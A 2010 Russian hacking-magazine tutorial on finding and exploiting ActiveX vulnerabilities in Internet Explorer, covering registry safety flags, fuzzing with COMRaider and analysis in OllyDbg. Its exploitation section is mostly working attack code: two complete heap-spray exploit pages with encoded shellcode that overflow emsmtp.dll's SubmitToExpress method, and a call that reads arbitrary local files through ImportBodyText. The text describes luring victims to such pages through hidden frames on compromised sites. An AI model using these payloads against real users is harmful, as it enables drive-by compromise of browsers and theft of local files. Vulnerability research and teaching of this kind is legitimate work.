Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #135, МАРТ 2010 г.

Взлом ActiveX

Синцов Алексей aka Don_Huan (dookie@inbox.ru)


Тема уязвимостей в ActiveX-компонентах давно уже не нова. Ее популярность проявилась с 2006 года, когда стала понятна истинная угроза от использования различных браузерных надстроек. Технология ActiveX является развитием COM-технологий Microsoft и, по сути, представляет собой библиотеку DLL или OLE-модуль с расширением OCX, и который устанавливается пользователем в составе какого-либо ПО (система видеонаблюдения, антивирус, банк-клиент, ERP-система, видеоплеер и много чего еще). И все это можно (и нужно) взломать! Тебе интересно? Тогда слушай сюда.

Безопасность

Для инициализации объекта из установленных библиотек может использоваться HTML-тэг <object …>, в котором указывается идентификатор класса – CLSID. Кроме того, можно использовать JavaScript-конструктор ActiveXObject(..), в таком случае указывается идентификатор программы – ProgID. CLSID представляет собой глобальный и уникальный идентификатор вида {11111111-2222-3333-4444-555555555555}. ProgID – строковый идентификатор компоненты, по сути, ссылающийся на CLSID. Все CLSID, ProgID и прочие настройки для COM-объектов хранятся в реестре.

Из этого краткого введения можно понять суть атак: злоумышленник создает HTML-страничку с инициализацией уязвимого ActiveX компонента, вывешивает эту страничку на порносайт (вариантов реализации масса: можно использовать XSS или встроить такой HTML-код в невидимый фрейм взломанного сайта и т.д.), после чего заманивает жертву на уязвимую страничку. Если у зашедшего на сайт пользователя установлена уязвимая версия эксплуатируемого компонента, то срабатывает эксплойт со всеми вытекающими последствиями.

Но не все так просто: для обеспечения безопасности клиента был создан механизм, проверяющий, помечен ли вызываемый компонент как безопасный, разрешено ли вызывать его методы и задавать свойства и разрешено ли ему вообще запускаться из браузера. Если, к примеру, компонент не помечен как безопасный, то ActiveX не будет загружен или, в зависимости от настроек безопасности браузера, пользователю будет задан соответствующий вопрос. Это, в принципе здравое решение, только вот принимает его разработчик компонента. Отсюда логика – удобно ведь, когда все работает тихо и мирно – без вопросов. Поэтому множество ActiveX-компонентов необоснованно помечены как безопасные, и для инициализации, и для вызова методов. Собственно сами параметры безопасности прописываются в реестре. Допустим, у нас имеется ActiveX-элемент с CLSID {11111111-2222-3333-4444-555555555555}. Чтобы проверить настройки безопасности этого компонентов, достаточно найти в реестре ключ – HKEY_CLASSES_ROOT\CLSID\{11111111-2222-3333-4444-555555555555} и рассмотреть его дочерние ключи в разделе Implemented Categories (если таковой вообще существует, если нет, значит объект не помечен как безопасный в реестре). Наличие следующих ключей будет говорить нам о том, что наш компонент помечен как безопасный для инициализации и для скриптинга.

{7DD95802-9882-11CF-9FA9-00AA006C42C4} – Объект можно инициализировать
{7DD95801-9882-11CF-9FA9-00AA006C42C4} – Можно вызывать методы и задавать свойства

Кроме того, компонент может быть вообще запрещен для использования в браузере. Это определяется наличием, так называемого, KillBit’а. Проверить наличие этого чудо-бита можно также в реестре – HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{11111111-2222-3333-4444-555555555555}. Значение параметра Compatibility Flags в HEX’e равное 0x00000400 говорит о наличие KillBit’а.

Но и это еще не все. Программисты – очень ленивые люди, им не хочется лишний раз лезть в реестр. Так, на различных форумах можно найти вопросы: «Как мне убрать ошибку ‘Object not safe for scripting’ при вызове моего ActiveX? Да так, чтобы в реестр лезть не надо было …». И они получают один и тот же ответ – использовать интерфейс IObjectSafety. Эта штука позволяет задавать параметры безопасности компонента «изнутри» определяя источник данных. Если в качестве одного из параметров передать флаги INTERFACESAFE_FOR_UNTRUSTED_CALLER и INTERFACESAFE_FOR_UNTRUSTED_DATA, то появляется возможность доступа к компоненту и посылки данных для компонента.

Уязвимости

Допустим, мы нашли компонент без флага убийства и помеченного как безопасный. Такой компонент интересен с точки зрения наличия уязвимостей. Какие же уязвимости интересуют потенциального злоумышленника? Компонент может быть написан на любом языке, но так как чаще всего используется язык Си/Си++, то такие уязвимости как переполнение буфера, являются самыми популярными. Кроме того, уязвимости форматной строки также свойственны компонентам, написанным на Си. Все эти уязвимости хорошо известны, как и способы их поиска.

Для облегчения жизни существуют автоматизированные средства – так называемые Fuzzing-инструменты, среди которых особо популярен COMRaider [labs.idefense.com/software/fuzzing.php]. Есть и другие средства, вроде AXman [digitaloffense.net/tools/axman/], но мне больше по душе именно COMRaider, поэтому в этой статье я буду пользоваться им. Такие утилиты составляют список установленных ActiveX, их свойств и методов. Затем программа поочередно дергает методы с разными хитрыми параметрами и смотрит, не упал ли IE. Если упал, то почему и где. Таким образом, можно найти стандартные уязвимости при простом формате входных данных.

Кроме классических уязвимостей, существуют еще и «специфические», которые свойственны именно ActiveX-компонентам. Дело в том, что многие компоненты работают с файловой системой, реестром и даже командной строкой ОС но, тем не менее, помечены как безопасные. Причем работа со всеми этими вкусностями происходит через вызовы доступных методов. Это означает, что для «захвата» рабочей станции пользователя не нужно искать хитрых уязвимостей, ведь компонент сам предоставляет доступ к ОС. Поиск таких уязвимостей также может быть обнаружен при fuzzing’е или при просмотре имен методов, ведь что еще может делать метод с именем ExecuteCmd()? Разберемся поподробнее с поиском уязвимостей, работая с утилитой COMRaider. Кроме того, для поиска небезопасных методов совместно с COMRaider рекомендую использовать незаменимые утилиты господина Руссиновича – FileMon и RegMon.

Итак, скачав и установив все утилиты, можем приступать к их настройке. Начнем с COMRaider’а. Настройку можно произвести прямо из утилиты, кликнем по маленькой белой строчке – View в левом верхнем углу программы. В появившемся меню можно выбрать Options и задать там пути до браузера и дебаггера, а также поменять логику фаззинга – Edit BuildArgs.vbs. Если выберем последнее – откроется блокнот с конфигурационным файлом, написанном в виде Visual Basic-скрипта. В нем нас будет интересовать функция GetStrArgs(), которая отвечает за генерацию строк для исследуемых параметров и свойств.

for i=100 to 10000 step 1000
parent.strs.add "String(" & i & ", ""A"")"
next

for i=10000 to 100000 step 10000
parent.strs.add "String(" & i & ", ""A"")"
next

Данный код будет генерировать строки из букв «А» длиной от 100 до 10000 с шагом 1000. А потом длиной до 10000, но уже с шагом 100000. Всего получится по 20 вызовов для каждого метода компонента. Кроме того оставим строки с «%s» и «%n» -– это позволит найти уязвимости форматной строки.
Добавим еще пару параметров:

parent.strs.add """C:\31337.txt"""
parent.strs.add """31337"""
parent.strs.add """http://""+String(10000, ""B"")"
parent.strs.add """C:\""+String(10000, ""B"")"

Это позволит нам найти некоторые небезопасные методы. После того как отредактировали скрипт, сохраним его и начнем поиск… поиск «безопасных» компонентов. Для этого нажмем кнопку Start, выберем пункт Scan a directory for registered COM servers. Появится диалоговое окно для выбора директории. Выбираем системный диск, или директорию, куда установлено новое ПО, которое мы хотим протестировать.

В итоге получим список объектов. Попробуем выделить все объекты, чтобы потом осуществить по ним фильтрацию. Если объектов окажется очень много, то COMRaider будет немного подвисать, поэтому советую использовать в качестве директории конкретные папки приложений или указывать путь напрямую к конкретным библиотекам приложения. Все эти пути можно узнать, запустив FileMon при установке приложения. Например, ActiveX, установленные из интернета, часто находят свой дом тут: %WINDIR%\Downloaded Program Files. Лично у меня на момент написания статьи оказалось около 5000 объектов на системном диске и в его подкаталогах. Выделим их все и, щелкнув правой клавишей, выберем пункт Bulid Obj Safety Report for Selected – это даст команду COMRaider’у искать именно безопасные объекты. Поиск займет некоторое время, так что запасемся терпением.

В процессе поиска индицируются три числа. Первые два разделены дробью. Они показывают сколько объектов просмотрено и сколько еще осталось. Третье число, через дефис – сколько всего «безопасных» объектов зарегистрировано. Всякий раз, как только третье число увеличится на единицу – можешь радоваться. После того как сканирование закончится, можно просмотреть обновленный список компонентов, которые можно использовать в Internet Explorer без особых проблем. Для этого вновь жмем кнопку Start и выбираем пункт Choose from controls that should be loadable in IE. Вот теперь перед нами список потенциально интересных объектов. Теперь настроим фильтр FileMon и RegMon на фильтрацию по строке «31337». Таким образом, если какой либо метод пишет в файловую систему или реестр, то этот факт отобразится в утилитах Руссиновича.

Кроме того, поиск потенциально опасных методов можно осуществить прямо в COMRaider’e, для этого опять же надо выделить объекты и нажать на них правой кнопкой, в появившемся меню выбрать Scan Selected For Strings, далее через запятую указываем параметры фильтра -– file,path,url,key,load,download,safe,read,write,file,execute и т.п. В итоге получим список подозрительных (с точки зрения наименования) методов и классов. Для того чтобы начать фаззинг, выделим несколько интересующих нас объектов, кликнем по ним правой клавишей и выберем Fuzz Selected. COMRaider, в зависимости от объема, подергается в судорогах и выдаст окно фаззинга, в котором будут перечислены сгенерированные скрипт-файлы. Осталось нажать клавишу Begin Fuzzing, и все… можно идти спать :).

Эксплойт

На следующие утро можно начинать анализ того, что стало с окном фаззинга. Нас интересует ситуация, когда код попал в исключительную ситуацию. В качестве примера я возьму уязвимость переполнения буфера в emsmtp.dll 6-ой версии. Эта библиотека входит, например, в поставку Oracle Document Capture последней версии (10.1350) (oracle.com/technology/software/products/content-management/index_dc.html), так что уязвимость является актуальной.

Итак, первое – анализ результата фаззинга. Видим несколько Caused Exception, выделяем и дважды кликаем по любому понравившемуся. Появится окно анализа исключительной ситуации, в нем можно увидеть, в каком участке кода вышла ошибка, а также состояния регистров и стека, кроме того, цепочку вызовов. Стоит обратить внимание, что в данном примере, хотя регистр EIP и не переписался значением 41414141, зато один из адресов возврата переписался, и SEH-дескриптор также переписался. Все эти факты говорят нам о том, что можно быстро создать рабочий эксплойт.

Попробуем разобраться, что происходит с уязвимой программой во время ошибки. Для этого воспользуемся знаменитым отладчиком OllyDBG (ollydbg.de). Вызвать отладчик можно прямо из COMRaider, для этого кликнем правой кнопкой по одной строчке из списка исключительных ситуаций и выбирем пункт Launch in Olly. Откроется окно отладчика, в котором жмем F9, тем самым запустив исследуемый компонент в отладчике. Olly остановится на первой исключительной ситуации, а именно на инструкции сравнения CMP, которая пытается сравнить значение по адресу [ESI+180] с единицей. Так как значение регистра ESI переписано значением букв “A” – а именно 0x41414141, то возникшая исключительная ситуация вполне логична, так как по адресу 0x41414141+0x180=0x414142C1 ничего нет, ведь программа вообще не использует это адресное пространство. Кроме того, рассмотрим стек (нижний правый фрейм окна отладчика). В этом окне можно наблюдать, как часть стека бессовестно загажена значением 41, включая адреса возврата и адрес SEH дескриптора. Кроме того, изучая код, который следует сразу за строчкой вызова, можно увидеть, что если бы не это исключение, то процессор дошел бы до инструкции CALL DWORD PTR DS:[ESI+CC], а так как регистр ESI мы контролируем, то кроме адреса возврата и указателя на SEH, возможна еще передача управления через регистр ESI. Таким образом, есть, как минимум, три пути реализации эксплойта.

Чтобы понять, какая часть вводимой нами строки на какой элемент системы влияет, будем опытным путем менять размер вводимого буфера и его значения. Сначала ищем минимальный размер буфера, при котором появляется исключительная ситуация. В данном примере вводимая длина оказалась не менее 308 байт. Если ввести меньше, то мы теряем возможность переписывать SEH дескриптор. Следует вывод, что из 308 байт, последние 4 байта влияют как раз на SEH-указатель. Опытным путем меняем последние 100 байт строки, чтобы выяснить какая ее часть влияет на регистр ESI и адрес возврата. Это также можно сделать в COMRaider’е, используя BuildArgs.vbs:

beg=256
stri=String(beg,"0")
letter="A"
for i=(beg+4) to 500 step 4
if letter="Z" then
letter ="A"
end if
stri=stri+String(4,letter)
letter=Chr(Asc(letter)+1)

parent.strs.add """"&stri&""""
next

В итоге оказалось, что 260 байт буфера не влияют на нужные параметры, потом 4 байта записываются в регистр ESI. Дальше еще 4 байта нас не интересуют, затем идут 4 байта, переписывающие адрес возврата. После еще 32-х байт идут последние 4 байта, которые перезаписывают указатель SEH. Грубо говоря, при таких входных параметрах:

fill= String(260, "X")
parent.strs.add """&fill&"CCCCFFFFAAAAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBBBB"""

Будут переписаны следующие значения:

ESI=CCCC (43434343)
Дескриптор SEH=BBBB (42424242)
Адрес возврата=AAAA (41414141)

В случае, если мы хотим использовать ESI, то просто вместо CCCC указываем адрес, содержащий адрес шеллкода. Но гораздо проще передать адрес в указателе SEH-блока. Так как у нас возникнет исключительная ситуация, то управление перейдет по адресу, указанному в SEH-дескрипторе. Адрес возврата использовать в данном примере сложнее, так как управление, по любому, перейдет в обработку исключительной ситуации и чтобы «красиво», без ошибок в коде, выйти на возврат функции, надо слишком сильно заморачиваться на то, чем же именно мы переписываем значения стека. Поскольку это явно трудно, то для эксплойта будем использовать первые два варианта. Теперь пару слов о шеллкоде. Взять можно любой шеллкод, даже с наличием нулевых байтов. Разместить шеллкод можно в куче браузера (для IE 6/7, виртуальная память общая) или прямо в передаваемом параметре.

В оригинальном эксплойте для этого компонента (exploit-db.com/exploits/10007) использовался метод перезаписи SEH-указателем на jmp esp из памяти user32.dll. В момент вызова ESP будет указывать в середину передаваемой строки (которая уже в стеке), после которой идет шеллкод. В этом варианте мы зависим от версии user32.dll и от символов нулевого байта. К тому же, такой вариант не универсален для большинства уязвимостей этого типа. В большинстве случаев используют размещение шелкода в куче, которую атакующий сам и создает. Эта техника называется heap spary (разбрызгивание куч, ха!). Суть ее заключается в том, что мы создаем много-много куч с пустыми операторами (nop) и с шеллкодом в конце. Мы создаем так много куч, что виртуальная память iexplorer’а буквально полностью загажена нашими кучами.

Таким образом, с вероятностью 99%, по адресу, например. 0x0d0d0d0d будет находиться наша куча с шеллкодом. Создать такие кучи проще простого – c помощью конкатенации при инициализации массива в JavaScript. Простейший пример heap spray:

var bigbk=unescape("%u9090%u9090%u9090%u9090"); //90 – nop, пустой оператор
while(bigbk.length<0x40000) bigbk=bigbk+bigbk; //создаем много
//nop’ов – nop-slide
var mem=new Array();
for(i=0; i<400;i++) mem[i]=bigbk+shell; //заносим nop-slide, шеллкод и создаем кучу

Шеллкод возьмем из метасплойта или любой другой. Чтобы занести его в кучу правильным образом, нужно перевести его в unicode-формат. Для этого переставим каждые два байта шеллкода. То есть последовательность байтов 0xAA 0xBB 0xCC 0xDD в JavaScript unicode формате будет выглядеть как %uBBAA %uDDCC. В метасплойте можно сразу выбрать шеллкод в виде JavaScript. Для иных шеллкодов нужно преобразовывать байты по вышеуказанной схеме. На диске есть мой небольшой скриптик, который это и делает. Скрипт может генерировать шеллкоды в формате JavaScript для двух задач: исполнение команды и, загрузка и исполнение файла. Чтобы создать шеллкод, который, например, открывает блокнот, просто запустим скрипт (требуется perl): C:\>perl shellcodegen.pl exec notepad. Теперь реализуем сам эксплойт, который я снабдил понятными комментариями:

<HTML>
<HEAD>
<TITLE>][akep ActiveX SEH Sploit</TITLE>
</HEAD>
<BODY>

<OBJECT id='vuln' classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'></object>
<SCRIPT>

function Exploit(){

//Шеллкод – exec notepad
var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30
%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120
%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a
%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac
%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66
%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff
%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff
%ue0bb%u2a1d%u680a%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347
%u6f72%u006a%uff53%u6ed5%u746f%u7065%u6461%u0000");
//Много куч
//По адресу 0x0d0d0d0d c вероятностью 99% будет наша куча с шеллкодом
var bigbk=unescape("%u9090%u9090%u9090%u9090");
while(bigbk.length<0x40000) bigbk=bigbk+bigbk;
var mem=new Array();
for(i=0; i<400;i++) mem[i]=bigbk+shell;

var bf=unescape("%63"); //начальная часть буфера
var buf="";
while (buf.length<260) buf=buf+bf;
buf+=unescape("%61%61%61%61"); //ESI не нужен
buf+="FFFF"+unescape("%62%62%62%62");// Адрес возврата не нужен
buf+="THX_TO_MY_WIFE_FOR_LOVE!FFFFFFFF";
buf+=unescape("%0d%0d%0d%0d");//SEH – указывает на кучу с шеллкодом

vuln.SubmitToExpress(buf);
}
Exploit();
</SCRIPT>
</BODY>
</HTML>

Этот код формирует много куч с шеллкодом и строку, длиной 308 байт, формата:

“сссс<260>…сссaaaaFFFFbbbbTHX_TO_MY_WIFE_FOR_LOVE!FFFFFFFF[адрес SEH дискриптора]”. Тут аааа станет ESI, а bbbb – адресом возврата, но они в данном эксплойте не нужны и показаны для понимания сути. В самом простом виде можно просто создать 308 байт с 0x0d – адресом кучи. В результате открытия данной html-странички, без каких-либо лишних вопросов откроется приложение "notepad" – результат работы шеллкода (конечно, если у жертвы установлен уязвимый ActiveX компонент). Второй вариант эксплойта, который вместо SEH будет использовать инструкцию CALL [ESI+CC] в самой программе. Для этого создадим вместо одной кучи – две:

var mem=new Array();
var i=0;

//Много куч c адресами шеллкода
var bigbk=unescape("%u0d0d%u0d0d%u0d0d%u0d0d");
while(bigbk.length<0x40000) bigbk=bigbk+bigbk;
for(; i<200;i++) mem[i]=bigbk+unescape("%u0d0d%u0d0d%u0d0d%u0d0d");

//теперь кучи с nop-сдвигом и шеллкодом
var bigbk2=unescape("%u9090%u9090%u9090%u9090");
while(bigbk2.length<0x40000) bigbk2=bigbk2+bigbk2;
for(; i<400;i++) mem[i]=bigbk2+shell;

//По адресу 0x0d0d0d0d c вероятностью 99% будет наша куча с шеллкодом
var bf=unescape("%63");
var buf="";
while (buf.length<260) buf=buf+bf;

//в данном случае приложение попытается сначала сделать
//CALL [0x05050505+CC] и тогда
//EIP станет равным 0x0d0d0d0d. Именно там у нас шеллкод.


buf+=unescape("%05%05%05%05"); //ESI – указвает на первую группу куч
buf+="FFFF"+unescape("%61%61%61%61");// Адрес возврата не нужен
buf+="HI_TO_KONONENCHEG_FFFFFFFFFFFFFF";
buf+=unescape("%62%62%62%62");//SEH тоже не нужен

vuln.SubmitToExpress(buf);

. . .

Кроме прочего, при фаззинге, благодоря FileMon, были обнаружены небезопасные обращения к С:\31337.txt. Например, метод ImportBodyText, открывает и считывает содержимое файла, имя которого передается в параметре. Изучив свойства компонента, можем логично предположить, что считанное содержимое находится в свойстве BodyText:

. . .
vuln.ImportBodyText("C:\boot.ini");
alert(vuln.BodyText);
. . .

Выводы

Вот и подошла к концу увлекательная статья о том, как добиться требуемого результата от браузера типа IE 6/7 и уязвимого ActiveX-компонента. Кроме обычных уязвимостей типа переполнения буфера или ошибки формата строки, особое внимание следует уделить небезопасным методам, которые позволяют получить доступ к рабочей станции клиента через браузер без всяких шеллкодов. Атаки на пользователей через браузер позволяют проникнуть во внутреннюю сеть компании, а также получить доступ ко многим критичным компонентам системы. В любом случае, люди, способные обнаружить, понять и использовать любые возможности системы, остаются в цене. Если тебе интересно исследовать возможности различных систем, искать слабые места в коде, конфигурациях и реализациях ПО, то мы всегда рады видеть тебя среди членов нашего коллектива – исследовательского центра Digital Security Research Group. Пиши нам на research@dsec.ru!

VIDEO

Видеоматериал, описывающий процесс нахождения и эксплуатации уязвимостей ActiveX, представлен на диске.

DVD

Также на диске есть скрипт генерации простых шелкодов и примеры эксплойтов (только для ознакомления!!!)

Содержание